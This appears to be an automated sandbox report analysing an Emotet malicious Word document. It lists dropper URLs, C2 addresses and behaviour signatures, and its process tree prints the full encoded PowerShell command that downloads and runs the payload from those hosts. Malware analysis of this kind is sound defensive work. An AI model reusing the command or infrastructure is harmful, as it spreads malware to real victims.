Analysis

  • max time kernel
    110s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    30/07/2020, 10:35

General

  • Target
    REP_4560595625.doc
  • Size 170KB
  • Sample200730-zw57xtdlkn
  • SHA256 bbccb28da0c926e3bf941fd5d29105048c7e5e2a63ce7fe99bebba6bcd3a204a
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://cgemtalent.com/open-call/j4x9_rezdf_4/

  • exe.dropper

    https://www.spiidgas.com.br/site2/br_o_0f7t/

  • exe.dropper

    http://atelierbrasilia.com/site/ja_xek8_7k/

  • exe.dropper

    http://ative.nl/Ermelo/sk0vy_nln3_j8thtzh3ia/

  • exe.dropper

    http://www.cistilniservis-t530.com/cgi-bin/kif_srz5e_dxo7rqa5k/

Extracted

Family
  • emotet

C2
  • 47.146.117.214:80

  • 62.108.54.22:8080

  • 212.51.142.238:8080

  • 190.160.53.126:80

  • 87.106.136.232:8080

  • 74.208.45.104:8080

  • 121.124.124.40:7080

  • 124.45.106.173:443

  • 76.27.179.47:80

  • 210.165.156.91:80

  • 61.19.246.238:443

  • 81.2.235.111:8080

  • 169.239.182.217:8080

  • 181.230.116.163:80

  • 139.130.242.43:80

  • 46.105.131.87:80

  • 139.59.60.244:8080

  • 222.214.218.37:4143

  • 41.60.200.34:80

  • 200.55.243.138:8080

rsa_pubkey.plain

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Blacklisted process makes network request 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_4560595625.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    PID:896
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABKAFoAWgBMAEcAYQBuAG4APQAnAFgARwBHAEEAWAB0AGYAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBgAFUAUgBpAGAAVABZAFAAcgBgAE8AVABvAGMAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARgBLAEgATgBYAGQAcgBlACAAPQAgACcAOAAyACcAOwAkAE8AVABLAFYASAB3AHIAcwA9ACcASgBKAFMATgBXAG0AaABtACcAOwAkAFkARABCAFIASgBpAGQAZwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARgBLAEgATgBYAGQAcgBlACsAJwAuAGUAeABlACcAOwAkAE4AWABBAEQAVwBxAGcAYQA9ACcARQBOAE8ASABXAGIAbABxACcAOwAkAEwASABHAE8ARgBxAHoAZgA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAATgBlAFQALgB3AEUAYgBjAGwASQBFAE4AdAA7ACQARgBEAFQAWgBOAGcAeABkAD0AJwBoAHQAdABwADoALwAvAGMAZwBlAG0AdABhAGwAZQBuAHQALgBjAG8AbQAvAG8AcABlAG4ALQBjAGEAbABsAC8AagA0AHgAOQBfAHIAZQB6AGQAZgBfADQALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHMAcABpAGkAZABnAGEAcwAuAGMAbwBtAC4AYgByAC8AcwBpAHQAZQAyAC8AYgByAF8AbwBfADAAZgA3AHQALwAqAGgAdAB0AHAAOgAvAC8AYQB0AGUAbABpAGUAcgBiAHIAYQBzAGkAbABpAGEALgBjAG8AbQAvAHMAaQB0AGUALwBqAGEAXwB4AGUAawA4AF8ANwBrAC8AKgBoAHQAdABwADoALwAvAGEAdABpAHYAZQAuAG4AbAAvAEUAcgBtAGUAbABvAC8AcwBrADAAdgB5AF8AbgBsAG4AMwBfAGoAOAB0AGgAdAB6AGgAMwBpAGEALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGkAcwB0AGkAbABuAGkAcwBlAHIAdgBpAHMALQB0ADUAMwAwAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AawBpAGYAXwBzAHIAegA1AGUAXwBkAHgAbwA3AHIAcQBhADUAawAvACcALgAiAHMAYABQAEwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWQBEAFIAUABQAGgAbwBkAD0AJwBGAFMASgBPAFAAZwB1AG8AJwA7AGYAbwByAGUAYQBjAGgAKAAkAFcASABWAEYAQgBmAHEAbQAgAGkAbgAgACQARgBEAFQAWgBOAGcAeABkACkAewB0AHIAeQB7ACQATABIAEcATwBGAHEAegBmAC4AIgBkAE8AYABXAGAATgBMAG8AYQBEAGYASQBsAEUAIgAoACQAVwBIAFYARgBCAGYAcQBtACwAIAAkAFkARABCAFIASgBpAGQAZwApADsAJABGAEsAWABVAFAAZwBzAG0APQAnAEwAQgBNAFIAQgBnAG4AagAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAFkARABCAFIASgBpAGQAZwApAC4AIgBsAGAARQBuAEcAdABIACIAIAAtAGcAZQAgADIANgA5ADcAMgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwBgAFIAZQBhAHQARQAiACgAJABZAEQAQgBSAEoAaQBkAGcAKQA7ACQAWABIAFMAUABTAGcAYQBoAD0AJwBRAFgASABOAEkAdwBnAGYAJwA7AGIAcgBlAGEAawA7ACQARQBPAEwAWABDAGMAYwBjAD0AJwBPAFIAQwBBAEcAeABhAHEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBVAEUATgBPAHkAeAB2AD0AJwBEAE8ARQBVAFYAYgBsAGYAJwA=
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    PID:1832
  • C:\Users\Admin\82.exe
    C:\Users\Admin\82.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    PID:1784
    • C:\Windows\SysWOW64\certenc\NlsLexicons004b.exe
      "C:\Windows\SysWOW64\certenc\NlsLexicons004b.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:1628

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/896-0-0x0000000006DF0000-0x0000000006FF0000-memory.dmp

        memory/896-1-0x0000000006DF0000-0x0000000006FF0000-memory.dmp

        memory/896-2-0x0000000008980000-0x0000000008984000-memory.dmp

        memory/896-5-0x000000000AED0000-0x000000000AED4000-memory.dmp

        memory/896-6-0x000000000BF50000-0x000000000BF54000-memory.dmp

        memory/896-9-0x0000000002180000-0x0000000002181000-memory.dmp

        memory/1628-15-0x0000000000250000-0x000000000025C000-memory.dmp

        memory/1784-11-0x0000000000480000-0x000000000048C000-memory.dmp